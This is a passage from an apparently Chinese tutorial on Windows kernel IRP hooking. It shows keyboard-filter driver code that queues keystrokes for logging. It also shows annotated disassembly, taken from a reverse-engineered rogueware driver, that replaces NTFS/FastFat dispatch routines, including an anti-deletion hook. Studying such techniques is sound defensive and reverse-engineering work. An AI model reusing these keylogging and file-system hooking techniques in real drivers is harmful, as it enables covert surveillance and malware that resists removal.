lkd> u IofCallDriver
nt!IofCallDriver:
804ef0f6 ff2500c85480 jmp dword ptr [nt!pIofCallDriver (8054c800)]
804ef0fc cc int 3
804ef0fd cc int 3
804ef0fe cc int 3
DbgPrint("Adding IRP to work queue...");
ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pKeyboardDeviceExtension->lockQueue);
KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
}
}
if(pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
numPendingIrps--;
return pIrp->IoStatus.Status;
}
在这个demo中要注意的是,由于irp的处理函数的IRQL = DISPATCH_LEVEL,因此,我们申请内存的话,只能申请非分页内存。在这个IRQL级别,我们不能创建或者保存文件来记录按键信息。
我们只能创建一个系统线程,在系统线程中完成按键信息的保存。
后面附上DEMO.
方法三的例子,偶比较懒了,就从流氓软件逆向代码中抠出一段来贴上。有时间的话,我会再写一个demo附上。我已经给加上了详细地注释,很容易明白。
.text:000186A4 sub_186A4 proc near ; CODE XREF: sub_16FDA+19p
.text:000186A4
.text:000186A4 DestinationString= UNICODE_STRING ptr -18h
.text:000186A4 var_10 = dword ptr -10h
.text:000186A4 var_C = dword ptr -0Ch
.text:000186A4 var_8 = dword ptr -8
.text:000186A4 var_4 = dword ptr -4
.text:000186A4
.text:000186A4 push ebp
.text:000186A5 mov ebp, esp
.text:000186A7 sub esp, 18h
.text:000186AA push ebx
.text:000186AB push esi
.text:000186AC push edi
.text:000186AD push 10h
.text:000186AF pop ecx ; ecx = 10h
.text:000186B0 xor eax, eax
.text:000186B2 mov edi, offset dword_36DE0
.text:000186B7 mov esi, offset dword_36DFC
.text:000186BC rep stosd ; 清零dword_36de0至dword_36e20的空间
.text:000186BE mov [ebp+var_10], offset aFilesystemNtfs ; "\\FileSystem\\Ntfs"
.text:000186C5 mov [ebp+var_C], offset aFilesystemFast ; "\\FileSystem\\Fastfat"
.text:000186CC mov ebx, esi
.text:000186CE lea edi, [ebp+var_10]
.text:000186D1 mov [ebp+var_8], 2 ; var_8是一个循环变量
.text:000186D8
.text:000186D8 loc_186D8: ; CODE XREF: sub_186A4+72j
.text:000186D8 push dword ptr [edi] ; SourceString
.text:000186DA lea eax, [ebp+DestinationString]
.text:000186DD push eax ; DestinationString
.text:000186DE call ds:RtlInitUnicodeString ; 转换"\\FileSystem\\Ntfs"字符串为UNICODE_STRING类型
.text:000186E4 lea eax, [ebp+var_4] ; 用于存放输出的Object指针
.text:000186E7 push eax
.text:000186E8 xor eax, eax
.text:000186EA push eax
.text:000186EB push eax
.text:000186EC push ds:IoDriverObjectType
.text:000186F2 push eax
.text:000186F3 push eax
.text:000186F4 push 40h
.text:000186F6 lea eax, [ebp+DestinationString]
.text:000186F9 push eax
.text:000186FA call ds:ObReferenceObjectByName ; NTSTATUS
.text:000186FA ; ObReferenceObjectByName (
.text:000186FA ; __in PUNICODE_STRING ObjectName,
.text:000186FA ; __in ULONG Attributes,
.text:000186FA ; __in_opt PACCESS_STATE AccessState,
.text:000186FA ; __in_opt ACCESS_MASK DesiredAccess,
.text:000186FA ; __in POBJECT_TYPE ObjectType,
.text:000186FA ; __in KPROCESSOR_MODE AccessMode,
.text:000186FA ; __inout_opt PVOID ParseContext,
.text:000186FA ; __out PVOID *Object
.text:000186FA ; )
.text:000186FA ;
.text:000186FA ; /*++
.text:000186FA ;
.text:000186FA ; Routine Description:
.text:000186FA ;
.text:000186FA ; Given a name of an object this routine returns a pointer
.text:000186FA ; to the body of the object with proper ref counts
.text:000186FA ;
.text:000186FA ; Arguments:
.text:000186FA ;
.text:000186FA ; ObjectName - Supplies the name of the object being referenced
.text:000186FA ;
.text:000186FA ; Attributes - Supplies the desired handle attributes
.text:000186FA ;
.text:000186FA ; AccessState - Supplies an optional pointer to the current access
.text:000186FA ; status describing already granted access types, the privileges used
.text:000186FA ; to get them, and any access types yet to be granted.
.text:000186FA ;
.text:000186FA ; DesiredAccess - Optionally supplies the desired access to the
.text:000186FA ; for the object
.text:000186FA ;
.text:000186FA ; ObjectType - Specifies the object type according to the caller
.text:000186FA ;
.text:000186FA ;
.text:00018700 test eax, eax ; AccessMode - Supplies the processor mode of the access
.text:00018700 ;
.text:00018700 ; ParseContext - Optionally supplies a context to pass down to the
.text:00018700 ; parse routine
.text:00018700 ;
.text:00018700 ; Object - Receives a pointer to the referenced object body
.text:00018700 ;
.text:00018700 ; Return Value:
.text:00018700 ;
.text:00018700 ; An appropriate NTSTATUS value
.text:00018700 ;
.text:00018700 ; --*/
.text:00018702 jge short loc_18708 ; 成功则跳转
.text:00018704 and [ebp+var_4], 0
.text:00018708
.text:00018708 loc_18708: ; CODE XREF: sub_186A4+5Ej
.text:00018708 mov eax, [ebp+var_4] ; 分别取出"\\FileSystem\\Fastfat"和"\\FileSystem\\Ntfs"的对象指针
.text:0001870B mov [ebx], eax
.text:0001870D add edi, 4 ; edi指向var_c
.text:00018710 add ebx, 20h ; ebx指向36e10
.text:00018713 dec [ebp+var_8]
.text:00018716 jnz short loc_186D8
.text:00018718 mov edi, ds:InterlockedExchange
.text:0001871E push 2
.text:00018720 pop ebx ; ebx = 2,用作计数
.text:00018721
.text:00018721 loc_18721: ; CODE XREF: sub_186A4+DCj
.text:00018721 mov eax, [esi] ; 取前面得到的object指针
.text:00018723 test eax, eax
.text:00018725 jz short loc_1877C ; 如果取出的对象指针为空,则跳转
.text:00018727 lea ecx, [eax+38h] ; Target
.text:0001872A mov edx, offset loc_184C7 ; Value
.text:0001872F call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CREATE]
.text:00018731 mov ecx, [esi]
.text:00018733 add ecx, 40h ; Target
.text:00018736 mov edx, offset loc_1851F ; Value
.text:0001873B mov [esi-1Ch], eax ; 保存原始值
.text:0001873E call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_CLOSE]
.text:00018740 mov ecx, [esi]
.text:00018742 add ecx, 50h ; Target
.text:00018745 mov edx, offset loc_18577 ; Value
.text:0001874A mov [esi-18h], eax ; 保存原始值
.text:0001874D call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_SET_INFORMATION],用于防删除
.text:0001874F mov ecx, [esi]
.text:00018751 add ecx, 48h ; Target
.text:00018754 mov edx, offset loc_185CF ; Value
.text:00018759 mov [esi-14h], eax ; 保存原始值
.text:0001875C call edi ; InterlockedExchange ; 替换MajorFunction[IRP_MJ_WRITE]
.text:0001875E mov [esi-10h], eax ; 保存原始值
.text:00018761 mov eax, [esi]
.text:00018763 mov eax, [eax+28h] ; FastIoDispatch
.text:00018766 test eax, eax
.text:00018768 jz short loc_1877C ; 取下一个,并计数器减一
.text:0001876A lea ecx, [eax+0Ch] ; Target
.text:0001876D cmp dword ptr [ecx], 0 ; 判断FastIoDispatch->FastIoWrite是否为空
.text:00018770 jz short loc_1877C ; 取下一个,并计数器减一
.text:00018772 mov edx, offset sub_18627 ; Value
.text:00018777 call edi ; InterlockedExchange ; 替换FastIoDispatch->FastIoWrite
.text:00018779 mov [esi-8], eax ; 保存原始值
.text:0001877C
.text:0001877C loc_1877C: ; CODE XREF: sub_186A4+81j
.text:0001877C ; sub_186A4+C4j ...
.text:0001877C add esi, 20h ; 取下一个,并计数器减一
.text:0001877F dec ebx
.text:00018780 jnz short loc_18721 ; 取前面得到的object指针
.text:00018782 pop edi
.text:00018783 pop esi
.text:00018784 pop ebx
.text:00018785 leave
.text:00018786 retn
.text:00018786 sub_186A4 endp
.text:00018786